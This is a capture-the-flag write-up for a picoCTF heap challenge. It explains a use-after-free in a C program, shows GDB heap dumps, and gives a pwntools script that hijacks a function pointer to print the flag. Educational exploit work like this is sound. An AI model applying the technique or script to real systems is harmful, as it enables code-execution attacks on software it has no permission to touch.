Unsubscriptions Are Free
10 minutes to read
We are given a 32-bit binary called vuln
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We also have the C source code:
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr() {
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt", "r");
fgets(buf, FLAG_BUFFER, f);
fprintf(stdout, "%s\n", buf);
fflush(stdout);
}
char* getsline() {
getchar();
char *line = malloc(100), *linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if (line == NULL)
return NULL;
for (;;) {
c = fgetc(stdin);
if (c == EOF)
break;
if (--len == 0) {
len = lenmax;
char *linen = realloc(linep, lenmax *= 2);
if (linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if ((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
void s() {
printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p() {
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m() {
puts("Account created.");
}
void leaveMessage() {
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*) malloc(8);
read(0, msg, 8);
}
void i() {
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if (toupper(response) == 'Y') {
puts("Bye!");
free(user);
} else {
puts("Ok. Get premium membership please!");
}
}
void printMenu() {
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput() {
scanf(" %c", &choice);
choice = toupper(choice);
switch (choice) {
case 'S':
if (user) {
user->whatToDo = (void*) s;
} else {
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*) p;
break;
case 'I':
user->whatToDo = (void*) i;
break;
case 'M':
user->whatToDo = (void*) m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
}
}
int main() {
setbuf(stdout, NULL);
user = (cmd*) malloc(sizeof(user));
while (1) {
printMenu();
processInput();
doProcess(user);
}
return 0;
}
Basically, the program has four functionalities:
- Leak the address of the function
hahaexploitgobrrr
(S) - Add an account (M)
- Delete an account (I)
- Leave a message (L)
The key here is that the user
variable can be reset using free
, but the pointer to the variable is not changed. Moreover, the message (L) is saved again in the heap calling malloc
.
Hence, if we create an account (M), then we delete it (I) using free
and after that we send a message (L) using malloc
, the pointer to user
will point to the message, because malloc
will reuse the address of recently released memory.
The user
structure is made of:
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
It has a pointer to a function (whatToDo
) and a pointer to a string (username
), so the size of the structure is 8 bytes.
Depending on the input we provide, the pointer of the function changes to s
, i
, m
, p
or leaveMessage
. Then, the function doProcess
is called:
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
Which calls the function pointed by whatToDo
.
All of the process is executed inside an endless loop:
int main() {
setbuf(stdout, NULL);
user = (cmd*) malloc(sizeof(user));
while (1) {
printMenu();
processInput();
doProcess(user);
}
return 0;
}
Let’s recall the strategy:
- Leak the address of the function
hahaexploitgobrrr
(S) - Create an account (M)
- Delete the account (I)
- Leave a message (L) to overwrite
whatToDo
with the address ofhahaexploitgobrrr
These are the involved functions:
void s() {
printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void leaveMessage() {
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*) malloc(8);
read(0, msg, 8);
}
void i() {
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if (toupper(response) == 'Y') {
puts("Bye!");
free(user);
} else {
puts("Ok. Get premium membership please!");
}
}
As shown above, s
just prints the address of hahaexploitgobrrr
:
$ ./vuln
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
S
OOP! Memory leak...0x80487d6
Thanks for subsribing! I really recommend becoming a premium member!
Then, leaveMessage
reads 8 bytes and allocates them in the heap using malloc
. And finally, i
removes the memory allocation for the user
structure using free
(but the pointer and the data is kept).
The process of creating an account is inside the corresponding case of processInput
:
case 'M':
user->whatToDo = (void*) m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
The function getsline
can take a lot of user input, but I reckon there is no overflow vulnerability here.
Let’s test our idea with GDB (skipping the address leakage):
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gef➤ break printMenu
Breakpoint 1 at 0x8048b31
gef➤ run
Starting program: ./vuln
Breakpoint 1, 0x8048b31 in printMenu ()
gef➤ continue
Continuing.
Starting program: ./vuln
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
M
===========================
Registration: Welcome to Twixer!
Enter your username:
AAA
Account created.
Breakpoint 1, 0x8048b31 in printMenu ()
Let’s check the address of the heap space:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x0804a000 0x00000000 r-x ./vuln
0x0804a000 0x0804b000 0x00001000 r-- ./vuln
0x0804b000 0x0804c000 0x00002000 rw- ./vuln
0x0804c000 0x0806e000 0x00000000 rw- [heap]
0xf7dcd000 0xf7dea000 0x00000000 r-- /usr/lib32/libc-2.31.so
0xf7dea000 0xf7f42000 0x0001d000 r-x /usr/lib32/libc-2.31.so
0xf7f42000 0xf7fb2000 0x00175000 r-- /usr/lib32/libc-2.31.so
0xf7fb2000 0xf7fb4000 0x001e4000 r-- /usr/lib32/libc-2.31.so
0xf7fb4000 0xf7fb6000 0x001e6000 rw- /usr/lib32/libc-2.31.so
0xf7fb6000 0xf7fb8000 0x00000000 rw-
0xf7fc9000 0xf7fcb000 0x00000000 rw-
0xf7fcb000 0xf7fcf000 0x00000000 r-- [vvar]
0xf7fcf000 0xf7fd1000 0x00000000 r-x [vdso]
0xf7fd1000 0xf7fd2000 0x00000000 r-- /usr/lib32/ld-2.31.so
0xf7fd2000 0xf7ff0000 0x00001000 r-x /usr/lib32/ld-2.31.so
0xf7ff0000 0xf7ffb000 0x0001f000 r-- /usr/lib32/ld-2.31.so
0xf7ffc000 0xf7ffd000 0x0002a000 r-- /usr/lib32/ld-2.31.so
0xf7ffd000 0xf7ffe000 0x0002b000 rw- /usr/lib32/ld-2.31.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
Now we can examine some values on the heap:
gef➤ x/120x 0x0804c000
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c140: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c160: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000011
0x804c1a0: 0x080489f6 0x0804c5c0 0x00000000 0x00000411
0x804c1b0: 0x0a414141 0x00000000 0x00000000 0x00000000
0x804c1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
Notice how 0x080489f6
is the address of m
:
gef➤ x 0x080489f6
0x80489f6 <m>: 0x53e58955
And 0x0804c5c0
is the address of the string AAA
:
gef➤ x/16x 0x0804c5c0 - 0x10
0x804c5b0: 0x00000000 0x00000000 0x00000000 0x00000071
0x804c5c0: 0x0a414141 0x00000000 0x00000000 0x00000000
0x804c5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c5e0: 0x00000000 0x00000000 0x00000000 0x00000000
Moreover, we can find the string AAA
right below the address of m
, but let’s leave it there.
Now, we delete the account using free
:
gef➤ continue
Continuing.
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
I
You're leaving already(Y/N)?
Y
Bye!
Breakpoint 1, 0x8048b31 in printMenu ()
Let’s check the heap again:
gef➤ x/120x 0x0804c000
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000001 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x0804c1a0 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c140: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c160: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000011
0x804c1a0: 0x00000000 0x0804c010 0x00000000 0x00000411
0x804c1b0: 0x0a410a59 0x00000000 0x00000000 0x00000000
0x804c1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
If you look this heap status compared to the previous one, you will notice these diferences:
- There is a value
0x00000001
at address0x804c010
- There is a value
0x0804c1a0
at address0x804c090
. This value is the pointer to theuser
variable (it is also on the heap) - There is a value
0x00000000
at address0x804c1a0
, which is the value of the pointerwhatToDo
(now it is empty) - There is a value
0x0804c010
at address0x804c1a0
, which is the pointer to theusername
. But there is no string here, it is pointing to the address on the first bullet point:
gef➤ x/16x 0x0804c010 - 0x10
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000001 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
Let’s continue and leave a message:
gef➤ continue
Continuing.
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
L
I only read premium member messages but you can
try anyways:
AAAABBB
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Alright, we have redirected code execution and we have control over the next address to call (in this case AAAA
or 0x41414141
).
Let’s examine the heap one more time:
gef➤ x/120x 0x0804c000
0x804c000: 0x00000000 0x00000000 0x00000000 0x00000191
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c140: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c150: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c160: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c170: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c190: 0x00000000 0x00000000 0x00000000 0x00000011
0x804c1a0: 0x41414141 0x0a424242 0x00000000 0x00000411
0x804c1b0: 0x0a410a6c 0x00000000 0x00000000 0x00000000
0x804c1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c1d0: 0x00000000 0x00000000 0x00000000 0x00000000
Do you know what has happened? The leaveMessage
function has called malloc
to allocate memory for our 8-byte message (AAAABBB
plus a new line character). However, we previously deleted the allocation for the user
structure using free
. The behavior of free
is not to clean up the memory space (that would be memset
), but to mark the address of memory as free, so that it can be reused and overwritten later.
The vulnerability here is called Use After Free, which is self-explanatory. The address of memory is set to free, and the next call to malloc
will allocate memory on that recently released address. Hence, we are overwriting 8 bytes from the original user
structure, and therefore we can write the address we want at whatToDo
(namely, the address of hahaexploitgobrrr
).
This is a Python script using pwntools
to obtain the flag:
#!/usr/bin/env python3
from pwn import context, log, p32, remote, sys
context.binary = 'vuln'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'(e)xit\n', b'S')
p.recvuntil(b'OOP! Memory leak...')
leak = int(p.recvline().decode().strip(), 16)
p.sendlineafter(b'(e)xit\n', b'M')
p.sendlineafter(b'Enter your username: \n', b'AAA')
p.sendlineafter(b'(e)xit\n', b'I')
p.sendlineafter(b'(Y/N)?\n', b'Y')
p.sendlineafter(b'(e)xit\n', b'L')
p.sendlineafter(b'try anyways:\n', p32(leak))
flag = p.recvline().decode().strip()
p.close()
log.success(f'Flag: {flag}')
if __name__ == '__main__':
main()
$ python3 solve.py mercury.picoctf.net 4593
[*] './vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to mercury.picoctf.net on port 4593: Done
[*] Closed connection to mercury.picoctf.net port 4593
[+] Flag: picoCTF{d0ubl3_j30p4rdy_ba307b82}